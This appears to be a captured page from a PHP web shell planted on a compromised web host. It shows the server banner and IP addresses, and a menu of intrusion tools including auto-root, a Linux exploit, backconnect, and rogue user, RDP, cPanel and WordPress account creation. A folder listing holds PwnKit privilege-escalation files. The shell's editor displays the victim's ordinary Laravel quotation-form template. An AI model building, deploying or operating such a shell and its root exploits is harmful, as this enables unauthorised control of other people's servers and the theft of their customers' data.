Linux clientvps21.redlake.in 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
LiteSpeed
: 95.216.48.241 | : 216.73.216.50
14 Domain
8.1.34
mydemowebs
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
mydemowebs /
.trash /
quotation /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
create.blade.php
13.52
KB
-rw-r--r--
pdf.blade.php
4.87
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : create.blade.php
@extends('staff.layouts.master') @section('content') <div class="page-title"> <div class="row"> <div class="col-sm-6"> <h3>Create Quotation</h3> </div> <div class="col-sm-6"> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="#"> <svg class="stroke-icon"> <use href="{{ asset('admin/assets/svg/icon-sprite.svg#stroke-home') }}"></use> </svg> </a> </li> <li class="breadcrumb-item">Invoices</li> <li class="breadcrumb-item active">Create Quotation</li> </ol> </div> </div> </div> <div class="container-fluid"> <div class="row"> <div class="col-sm-12"> <div class="card"> <div class="card-header"> <h5>Create Invoice</h5> </div> <div class="card-body"> <form action="{{ route('staff.quotations.store') }}" method="POST"> @csrf {{-- Customer Type --}} <h5>Customer Type</h5> <div class="mb-3 mt-3"> <label><input type="radio" name="customer_type" value="new" checked> New Customer</label> <label class="ms-3"><input type="radio" name="customer_type" value="existing"> Existing Customer</label> </div> {{-- Existing Customer Select --}} <div id="existingCustomerBox" style="display:none;"> <select id="existingCustomer" name="customer_id" class="form-select mb-2"> <option value="">-- Select Customer --</option> @foreach($clients as $client) <option value="{{ $client->id }}" data-name="{{ $client->name }}" data-mobile="{{ $client->mobile }}" data-address="{{ $client->address }}" data-gst="{{ $client->gst }}"> {{ $client->name }} ({{ $client->mobile }}) </option> @endforeach </select> </div> {{-- Customer Details --}} <h5 class="mt-3 mb-3">Customer Details</h5> <input type="text" name="customer_name" id="customer_name" required placeholder="Name" class="form-control mb-2"> <input type="text" name="customer_mobile" id="customer_mobile" required placeholder="Mobile" class="form-control mb-2"> <input type="text" name="customer_address" id="customer_address" placeholder="Address" class="form-control mb-2"> <input type="text" name="customer_gst" id="customer_gst" placeholder="GST" class="form-control mb-2"> {{-- Product Details --}} <h5 class="mt-3 mb-3">Product Details</h5> <table class="table" id="productsTable"> <thead> <tr> <th>Product</th><th>Price</th><th>Qty</th><th>Discount</th><th>Amount</th><th></th> </tr> </thead> <tbody> <tr> <td> <select name="products[0][product_id]" class="form-select product-select" required> <option value="">Select</option> @foreach($products as $product) <option value="{{ $product->id }}" data-price="{{ $product->price }}">{{ $product->title }}</option> @endforeach </select> </td> <td><input type="number" name="products[0][price]" class="form-control price"></td> <td><input type="number" name="products[0][quantity]" class="form-control quantity" value="1"></td> <td><input type="number" name="products[0][discount]" class="form-control discount" value="0"></td> <td><input type="number" name="products[0][amount]" class="form-control amount" readonly></td> <td><button type="button" class="btn btn-danger remove-row">X</button></td> </tr> </tbody> </table> <button type="button" class="btn btn-primary mb-3" id="addRow">+ Add Product</button> {{-- GST Option --}} <h5 class="mt-3 mb-3">GST Option</h5> <div class="mb-3"> <label><input type="radio" name="gst_type" value="with" checked> With GST</label> <label class="ms-3"><input type="radio" name="gst_type" value="without"> Without GST</label> </div> <div id="gstFields"> <div class="mb-2"> <label>GST (%)</label> <input type="number" name="gst_percent" class="form-control" id="gst_percent"> </div> <div class="mb-2"> <label>GST Amount</label> <input type="text" name="gst_amount" class="form-control" id="gst_amount" readonly> </div> </div> {{-- Subtotal + Grand Total --}} <div class="mb-2"> <label>Subtotal</label> <input type="text" name="subtotal" class="form-control" id="subtotal" readonly> </div> <div class="mb-2"> <label>Grand Total</label> <input type="text" name="grand_total" class="form-control" id="grand_total" readonly> </div> {{-- Bank Select --}} <div class="mb-3 mt-3"> <label>Select Bank</label> <select name="bank_id" class="form-select" required> <option value="">-- Select Bank --</option> @foreach($banks as $bank) <option value="{{ $bank->id }}">{{ $bank->bank_name }} ({{ $bank->account_number }})</option> @endforeach </select> </div> <div class="mb-2"> <label>Budget</label> <textarea class="form-control" name="budget" id="editor1"></textarea> </div> <button type="submit" class="btn btn-success">Create Quotation</button> </form> </div> </div> </div> </div> </div> <script> document.addEventListener("DOMContentLoaded", function() { let rowIndex = document.querySelectorAll("#productsTable tbody tr").length; const subtotalField = document.getElementById("subtotal"); const gstAmountField = document.getElementById("gst_amount"); const grandTotalField = document.getElementById("grand_total"); const gstPercentField = document.getElementById("gst_percent"); const customerNameField = document.getElementById("customer_name"); const customerMobileField = document.getElementById("customer_mobile"); const customerAddressField = document.getElementById("customer_address"); const customerGstField = document.getElementById("customer_gst"); const existingCustomerBox = document.getElementById("existingCustomerBox"); const existingCustomerSelect = document.getElementById("existingCustomer"); // ---------- GST Inclusive Calculation ---------- function recalc() { let baseTotal = 0; let gstTotal = 0; let grandTotal = 0; const gstType = document.querySelector("input[name='gst_type']:checked")?.value || 'with'; const gstPercent = parseFloat(gstPercentField?.value) || 0; document.querySelectorAll("#productsTable tbody tr").forEach(tr => { const price = parseFloat(tr.querySelector(".price")?.value) || 0; const qty = parseFloat(tr.querySelector(".quantity")?.value) || 0; const discount = parseFloat(tr.querySelector(".discount")?.value) || 0; let amount = (price * qty) - discount; if (amount < 0) amount = 0; let gstForRow = 0; let baseForRow = 0; if (gstType === 'with' && gstPercent > 0) { // ---------- Inclusive GST ---------- gstForRow = (amount * gstPercent) / (100 + gstPercent); baseForRow = amount - gstForRow; grandTotal += amount; // already inclusive } else { // Without GST (Exclusive) baseForRow = amount; gstForRow = (baseForRow * gstPercent) / 100; grandTotal += baseForRow + gstForRow; } const amountInput = tr.querySelector(".amount"); if (amountInput) amountInput.value = amount.toFixed(2); baseTotal += baseForRow; gstTotal += gstForRow; }); subtotalField.value = baseTotal.toFixed(2); gstAmountField.value = gstTotal.toFixed(2); grandTotalField.value = grandTotal.toFixed(2); } // Auto-fill price when product selected document.addEventListener("change", function(e) { if (e.target.classList.contains("product-select")) { const opt = e.target.selectedOptions[0]; const price = parseFloat(opt?.dataset?.price) || 0; const tr = e.target.closest("tr"); const priceInput = tr.querySelector(".price"); if (priceInput) priceInput.value = price.toFixed(2); recalc(); } }); // Recalc on qty/discount/gst change document.addEventListener("input", function(e) { if (e.target.classList.contains("quantity") || e.target.classList.contains("discount") || e.target.id === "gst_percent") { recalc(); } }); // GST type toggle document.querySelectorAll("input[name='gst_type']").forEach(r => { r.addEventListener("change", function() { if (gstFields = document.getElementById("gstFields")) { gstFields.style.display = this.value === 'with' ? 'block' : 'none'; } recalc(); }); }); // Add new row document.getElementById("addRow").addEventListener("click", function() { const tbody = document.querySelector("#productsTable tbody"); const newRow = document.createElement("tr"); newRow.innerHTML = ` <td> <select name="products[${rowIndex}][product_id]" class="form-select product-select" required> <option value="">Select</option> @foreach($products as $product) <option value="{{ $product->id }}" data-price="{{ $product->price }}">{{ addslashes($product->title) }}</option> @endforeach </select> </td> <td><input type="number" name="products[${rowIndex}][price]" class="form-control price"></td> <td><input type="number" name="products[${rowIndex}][quantity]" class="form-control quantity" value="1" min="1"></td> <td><input type="number" name="products[${rowIndex}][discount]" class="form-control discount" value="0" min="0"></td> <td><input type="number" name="products[${rowIndex}][amount]" class="form-control amount" readonly></td> <td><button type="button" class="btn btn-danger remove-row">X</button></td> `; tbody.appendChild(newRow); rowIndex++; recalc(); }); // Remove row document.addEventListener("click", function(e) { if (e.target.classList.contains("remove-row")) { e.target.closest("tr")?.remove(); recalc(); } }); // Customer type toggle document.querySelectorAll("input[name='customer_type']").forEach(r => { r.addEventListener("change", function() { if (this.value === 'existing') { existingCustomerBox.style.display = 'block'; customerNameField.readOnly = true; customerMobileField.readOnly = true; customerAddressField.readOnly = true; customerGstField.readOnly = true; } else { existingCustomerBox.style.display = 'none'; customerNameField.readOnly = false; customerMobileField.readOnly = false; customerAddressField.readOnly = false; customerGstField.readOnly = false; customerNameField.value = ''; customerMobileField.value = ''; customerAddressField.value = ''; customerGstField.value = ''; if(existingCustomerSelect) existingCustomerSelect.value = ''; } }); }); // Existing customer selection if(existingCustomerSelect){ existingCustomerSelect.addEventListener("change", function() { const selectedOption = this.selectedOptions[0]; customerNameField.value = selectedOption.dataset.name || ''; customerMobileField.value = selectedOption.dataset.mobile || ''; customerAddressField.value = selectedOption.dataset.address || ''; customerGstField.value = selectedOption.dataset.gst || ''; }); } // Initialize product prices document.querySelectorAll("#productsTable tbody tr").forEach(tr => { const sel = tr.querySelector(".product-select"); if (sel && sel.selectedIndex > 0) { const opt = sel.selectedOptions[0]; const price = parseFloat(opt?.dataset?.price) || 0; const priceInput = tr.querySelector(".price"); if (priceInput) priceInput.value = price.toFixed(2); } }); recalc(); }); </script> @endsection
Close